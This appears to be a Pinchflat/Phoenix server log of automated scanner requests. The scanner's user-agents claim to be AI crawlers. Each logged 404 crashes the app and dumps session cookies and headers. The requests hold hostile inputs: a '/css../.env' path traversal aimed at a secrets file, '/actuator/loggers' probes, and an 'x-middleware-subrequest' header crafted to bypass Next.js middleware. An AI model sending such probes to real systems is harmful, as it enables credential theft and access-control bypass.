#PID<0.29862.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34778}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /css../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29862.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34778}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, (truncated) 16:49:10.305 [info] GET /ngsw.json 16:49:10.305 [debug] QUERY OK source="settings" db=0.1ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.305 [debug] QUERY OK source="settings" db=0.0ms idle=77.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.305 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.306 [info] GET /service-worker.js 16:49:10.306 [debug] QUERY OK source="settings" db=0.6ms idle=78.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.305 [error] #PID<0.29865.0> running PinchflatWeb.Endpoint (connection #PID<0.29864.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /ngsw.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ngsw (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29864.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ngsw.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34790}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29865.0>, params: %{}, path_info: ["ngsw"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/ngsw.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61li7ByCzXmQABwlh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29864.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ngsw.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34790}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ngsw (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29864.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ngsw.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34790}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :und (truncated) 16:49:10.307 [debug] QUERY OK source="settings" db=0.0ms idle=48.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.307 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.307 [error] #PID<0.29867.0> running PinchflatWeb.Endpoint (connection #PID<0.29866.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /service-worker.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service-worker (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29866.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service-worker.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34796}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29867.0>, params: %{}, path_info: ["service-worker"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/service-worker.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ljIPMprOpQABwmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29866.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service-worker.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34796}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service-worker (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29866.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service-worker.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34796}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false (truncated) 16:49:10.309 [info] GET /sw.js 16:49:10.309 [debug] QUERY OK source="settings" db=0.0ms idle=51.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.309 [debug] QUERY OK source="settings" db=0.0ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.310 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.310 [error] #PID<0.29869.0> running PinchflatWeb.Endpoint (connection #PID<0.29868.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sw.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sw (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29868.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sw.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34810}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29869.0>, params: %{}, path_info: ["sw"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/sw.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61lj_lLZLVrsABwmh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29868.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sw.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34810}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sw (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29868.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sw.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34810}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, coo (truncated) 16:49:10.326 [info] GET /actuator/loggers 16:49:10.326 [debug] QUERY OK source="settings" db=0.0ms idle=21.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.327 [debug] QUERY OK source="settings" db=0.0ms idle=20.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.327 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.327 [error] #PID<0.29871.0> running PinchflatWeb.Endpoint (connection #PID<0.29870.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /actuator/loggers ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/loggers (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29870.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/loggers", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34818}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => 